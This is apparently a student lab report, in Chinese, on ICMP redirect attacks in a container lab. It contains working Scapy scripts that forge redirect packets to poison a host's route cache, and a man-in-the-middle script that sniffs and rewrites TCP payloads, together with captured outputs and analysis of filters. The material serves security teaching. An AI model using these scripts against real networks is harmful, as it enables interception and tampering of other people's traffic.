ICMP_Redirect

TASK 1

重定向报文设置如下：

```
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.111"
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP());
```

修改后的 IP route cache 如下：

```
root@aecb16687927:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 238sec
```

Question 1

设置重定向网关为外网存在 ip

```
icmp.gw = "114.114.114.114"
```

结果重定向失败

```
root@01ab6a0507d8:/# ip route get 192.168.60.5
192.168.60.5 via 10.9.0.11 dev eth0 src 10.9.0.5 uid 0
    cache
```

Question 2

设置定向到不存在内网 ip 10.9.0.22

```
icmp.gw = "10.9.0.22"
```

结果经过默认网关，修改失败

```
root@01ab6a0507d8:/# ip route get 192.168.60.5
192.168.60.5 via 10.9.0.11 dev eth0 src 10.9.0.5 uid 0
    cache
```

Question 3

设置为 1 后，这些参数用于发送重定向报文，关闭后才能进行重定向，否则会自动发送重定向报文，改变恶意重定向

```
44          sysctls:
45                  - net.ipv4.ip_forward=1
46                  - net.ipv4.conf.all.send_redirects=1
47                  - net.ipv4.conf.default.send_redirects=1
48                  - net.ipv4.conf.eth0.send_redirects=1
```

重定向更改失败

```
root@79d98251c2c7:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.108 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.093 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.237 ms
From 10.9.0.111: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.188 ms
From 10.9.0.111: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.165 ms
From 10.9.0.111: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.087 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.125 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.130 ms
^C
--- 192.168.60.5 ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7079ms
rtt min/avg/max/mdev = 0.087/0.141/0.237/0.048 ms
root@79d98251c2c7:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache <redirected> expires 290sec
```

Task 2

重复 TASK 1 完成重定向：

```
root@1c2154aa1e7a:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 281sec
```

运行未修改的 MIMT 程序

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'jzh', b'AAA')

       send(newpkt/newdata)
   else:
       send(newpkt)
f = 'tcp'
#f ='tcp and ether src 02:42:0a:09:00:05'
#f ='tcp and src net 10.9.0.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

过滤器未更改时，发送大量额外的报文，包括了程序本身的发出的报文

```
root@68672d0e6716:/# nc -lp 9090
123
JZH
AAA
```

```
root@1c2154aa1e7a:/# nc 192.168.60.5 9090
123
JZH
izh
```

```
root@81b549a91a5e:/volumes# python3 mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.

*** b'123\n', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'123\n', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'123\n', length: 4

Sent 1 packets.
*** b'JZH\n', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAA\n', length: 4
.
Sent 1 packets.
*** b'123\n', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
*** b'JZH\n', length: 4
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAA\n', length: 4
```

Question 4

应当选择 10.9.0.5 发送到 192.168.60.5 这一方向的报文，因为 10.9.0.5 主机输入指令，192.168.60.5 一方接受指令，在此过程中更改，因为值改变了 10.9.0.5 的路由路径，而没有更改 192.168.60.5 的路由路径所以只有从 10.9.0.5 到 192.168.60.5 的报文更改有效

抓包结果如下，只有此方向上有负载：

```
▸ Frame 1: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface br-2fccf420b3dd, id 0
▸ Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:0b (02:42:0a:09:00:0b)
▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 192.168.60.5
▸ Transmission Control Protocol, Src Port: 60666, Dst Port: 9090, Seq: 573522970, Ack: 178854726, Len: 4
▾ Data (4 bytes)
    Data: 6161610a
    [Length: 4]
```

另一方向上无负载：

```
▸ Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface br-2fccf420b3dd, id 0
▸ Ethernet II, Src: 02:42:0a:09:00:0b (02:42:0a:09:00:0b), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▸ Internet Protocol Version 4, Src: 192.168.60.5, Dst: 10.9.0.5
▸ Transmission Control Protocol, Src Port: 9090, Dst Port: 60666, Seq: 178854726, Ack: 573522974, Len: 0
```

Question 5

输入同样的指令，结果是一样的，选择过滤 MAC 还是 IP 对于 MITM 的处理却不一样

```
root@1c2154aa1e7a:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 204sec
root@1c2154aa1e7a:/# nc 192.168.60.5 9090
123
jzh
```

```
root@68672d0e6716:/# nc -lp 9090
123
AAA
```

如果选择过滤 MAC 地址，两条字符就只会发送两个报文，因为 sniff 的是从 10.9.0.5 主机 mac 地址发送的报文，只有此时的报文才会响应

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'jzh', b'AAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f ='tcp and ether src 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

只会发送两条报文

```
^Croot@81b549a91a5e:/volumes# python3 mitm.py
LAUNCHING MITM ATTACK.........
*** b'123\n', length: 4
.
Sent 1 packets.
*** b'jzh\n', length: 4
.
Sent 1 packets.
```

如果选择仅仅过滤 IP 地址，过滤从 10.9.0.5 发出的报文时。

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'jzh', b'AAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

#f ='tcp and ether src 02:42:0a:09:00:05'
f ='tcp and src net 10.9.0.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

不仅会 sniff 到 10.9.0.5 主机本身发送的两条报文，而且对于 MITM 程序来说，更改字符后发出的报文也会是 ip src 为 10.9.0.5,这样 MIMT 程序就会无限 sniff，不断发现自己已经更改了的报文，并且重发，不会停止。
（02:42:0a:09:00:0b 为伪装路由的 mac 地址）

```
Sent 1 packets.
here
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:6f
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 56
     id        = 49328
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x7354
     src       = 10.9.0.5
     dst       = 192.168.60.5
     \options   \
###[ TCP ]###
        sport     = 60714
```

```
###[ TCP ]###
        sport     = 60714
        dport     = 9090
        seq       = 2479994119
        ack       = 3237015176
        dataofs   = 8
        reserved  = 0
        flags     = PA
        window    = 502
        chksum    = 0x69fe
        urgptr    = 0
        options   = [('NOP', None), ('NOP', None), ('Timestamp', (2476296
990, 1102010447))]
###[ Raw ]###
           load      = 'AAA\n'

*** b'AAA\n', length: 4
.
Sent 1 packets.
here
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:6f
```

两种过滤方式都会得到正确结果，但过滤 IP 会导致发送大量重复的报文，所以最佳选择还是过滤 MAC 地址